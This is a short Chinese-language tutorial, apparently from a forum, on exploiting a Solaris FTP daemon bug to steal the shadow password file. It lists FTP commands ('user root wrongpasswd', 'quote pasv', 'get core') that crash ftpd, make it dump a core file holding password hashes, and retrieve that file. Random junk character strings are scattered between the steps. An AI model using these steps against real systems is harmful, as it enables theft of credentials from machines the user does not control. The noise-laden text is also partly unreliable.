如何用FIP獲取shadow口令文件

該方法利用了Solaris 操作系統(tǒng)中FTPD的一個BUG，使得用戶可以獲得該機的口令文件。具體過程如下：

1.通過 ftp 正常登錄到目的主機上
* t5 D2 T9 s4 L& L  ]* X
, N( T+ E0 W2 q; s2.輸入如下命令序列：
2 \0 c3 i/ ~: H
ftp> user root wrongpasswd
! t, p: @+ F2 s# M4 B; }! @* P
% j: U: r& x" P# b. q3 A+ Kftp> quote pasv
: k8 i5 r" Q, [  u/ b
3.這時，ftpd會報錯退出，同時會在當(dāng)前目錄下生成一個core，口令文件就包含在這個core中。

7 Y  ^6 @9 A. ^4.再次進入FTP >get core
& H: H' z. o- @  y* ]
補充：雖然在core只有一部分shadow，但是對于系統(tǒng)來說已經(jīng)是致命的打擊了
$ g1 y* z! p; R